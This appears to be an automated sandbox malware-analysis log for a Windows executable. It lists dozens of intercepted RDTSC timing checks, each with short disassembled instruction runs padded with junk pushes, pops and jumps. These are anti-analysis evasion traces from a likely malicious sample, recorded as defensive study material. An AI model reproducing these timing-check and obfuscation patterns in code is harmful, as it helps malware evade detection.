Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 31D969 second address: 31D97A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107EBh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 31D97A second address: 31D98A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACCE7DA2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 322DE7 second address: 322DEF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 321C30 second address: 321C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E721B second address: 2E7229 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7229 second address: 2E7239 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E732C second address: 2E733D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E733D second address: 2E7346 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7481 second address: 2E7485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7485 second address: 2E74A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp], esi 0x0000000d mov ecx, 13E776A8h 0x00000012 push eax 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7573 second address: 2E7597 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F0ACC5107F7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7597 second address: 2E759C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E759C second address: 2E75A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E77D6 second address: 2E77EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0ACCE7DA33h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7FC5 second address: 2E7FE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACC5107F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7FE2 second address: 2E80AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F0ACCE7DA39h 0x00000011 nop 0x00000012 mov dx, E62Eh 0x00000016 mov edi, dword ptr [ebp+122D3415h] 0x0000001c lea eax, dword ptr [ebp+12482A4Fh] 0x00000022 je 00007F0ACCE7DA2Ch 0x00000028 add ecx, dword ptr [ebp+122D2D4Ch] 0x0000002e push eax 0x0000002f pushad 0x00000030 pushad 0x00000031 push esi 0x00000032 pop esi 0x00000033 jmp 00007F0ACCE7DA39h 0x00000038 popad 0x00000039 jne 00007F0ACCE7DA31h 0x0000003f popad 0x00000040 mov dword ptr [esp], eax 0x00000043 mov ecx, dword ptr [ebp+122D2EECh] 0x00000049 lea eax, dword ptr [ebp+12482A0Bh] 0x0000004f push 00000000h 0x00000051 push ebp 0x00000052 call 00007F0ACCE7DA28h 0x00000057 pop ebp 0x00000058 mov dword ptr [esp+04h], ebp 0x0000005c add dword ptr [esp+04h], 00000016h 0x00000064 inc ebp 0x00000065 push ebp 0x00000066 ret 0x00000067 pop ebp 0x00000068 ret 0x00000069 mov dx, 4DC2h 0x0000006d cmc 0x0000006e sbb ecx, 355CB1A0h 0x00000074 nop 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 jng 00007F0ACCE7DA26h 0x0000007e pushad 0x0000007f popad 0x00000080 popad 0x00000081 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E80AC second address: 2E80B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32219E second address: 3221B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3221B2 second address: 3221B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3221B8 second address: 3221D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jp 00007F0ACCE7DA2Ch 0x0000000b jnp 00007F0ACCE7DA2Eh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32233B second address: 322341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 322341 second address: 322345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 322345 second address: 32236B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107EFh 0x00000007 jmp 00007F0ACC5107F3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32236B second address: 322371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 322371 second address: 322375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 322375 second address: 322389 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F0ACCE7DA26h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3224C0 second address: 3224C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3224C6 second address: 3224CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3224CA second address: 3224DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F0ACC5107E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3224DA second address: 3224F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0ACCE7DA30h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3224F0 second address: 32251B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edi 0x00000008 jmp 00007F0ACC5107F5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F0ACC5107E6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32251B second address: 322525 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0ACCE7DA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 322525 second address: 32252B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 328724 second address: 328760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0ACCE7DA26h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0ACCE7DA37h 0x00000011 jmp 00007F0ACCE7DA39h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 328760 second address: 328766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 328766 second address: 328794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0ACCE7DA34h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F0ACCE7DA2Bh 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 328794 second address: 3287A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 je 00007F0ACC5107E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3287A4 second address: 3287AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2A25D5 second address: 2A25D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 327453 second address: 32746C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0ACCE7DA35h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32746C second address: 327470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 327470 second address: 327476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 327476 second address: 32747C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32747C second address: 327480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3275BF second address: 3275C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3275C3 second address: 3275C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3275C9 second address: 3275CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3275CF second address: 3275D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3275D5 second address: 3275F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0ACC5107F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 327CCB second address: 327CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 327CD1 second address: 327CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F0ACC5107E6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 327E36 second address: 327E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 328121 second address: 328160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jno 00007F0ACC5107FCh 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F0ACC5107F8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 328160 second address: 32816D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 326DFE second address: 326E1D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0ACC5107F5h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32CFDB second address: 32D032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jbe 00007F0ACCE7DA26h 0x0000000c jmp 00007F0ACCE7DA31h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F0ACCE7DA2Eh 0x00000018 popad 0x00000019 jmp 00007F0ACCE7DA35h 0x0000001e popad 0x0000001f pushad 0x00000020 jmp 00007F0ACCE7DA2Fh 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32D688 second address: 32D68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32D979 second address: 32D97F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32D97F second address: 32D99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F0ACC5107F8h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32DAD5 second address: 32DADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32DADB second address: 32DB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0ACC5107E6h 0x0000000a popad 0x0000000b jnc 00007F0ACC51080Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32DB13 second address: 32DB1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F0ACCE7DA26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32DC94 second address: 32DCAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32DCAD second address: 32DCE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0ACCE7DA2Ah 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e js 00007F0ACCE7DA26h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F0ACCE7DA2Fh 0x0000001e pushad 0x0000001f jnl 00007F0ACCE7DA26h 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32DCE8 second address: 32DCEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32E041 second address: 32E047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32E047 second address: 32E053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0ACC5107E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32E053 second address: 32E066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 32E066 second address: 32E06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3350CC second address: 3350D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3350D2 second address: 3350F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F0ACC5107EEh 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jbe 00007F0ACC5107E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 337396 second address: 3373C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA2Bh 0x00000007 jnc 00007F0ACCE7DA26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007F0ACCE7DA33h 0x00000015 jmp 00007F0ACCE7DA2Bh 0x0000001a pushad 0x0000001b popad 0x0000001c je 00007F0ACCE7DA46h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3373C8 second address: 3373CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3373CE second address: 3373D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3370DE second address: 3370E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 33A355 second address: 33A39F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c jc 00007F0ACCE7DA34h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007F0ACCE7DA2Ch 0x00000019 jns 00007F0ACCE7DA3Fh 0x0000001f pushad 0x00000020 jnc 00007F0ACCE7DA26h 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 339C50 second address: 339C5F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 339DC2 second address: 339DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jc 00007F0ACCE7DA26h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jo 00007F0ACCE7DA40h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 339F6F second address: 339F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 33F6CA second address: 33F6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0ACCE7DA31h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7B08 second address: 2E7B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7B0E second address: 2E7B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E7B12 second address: 2E7B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 33FC61 second address: 33FC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007F0ACCE7DA3Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 33FE28 second address: 33FE48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0ACC5107F1h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 340866 second address: 34086D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 34086D second address: 340881 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0ACC5107EFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
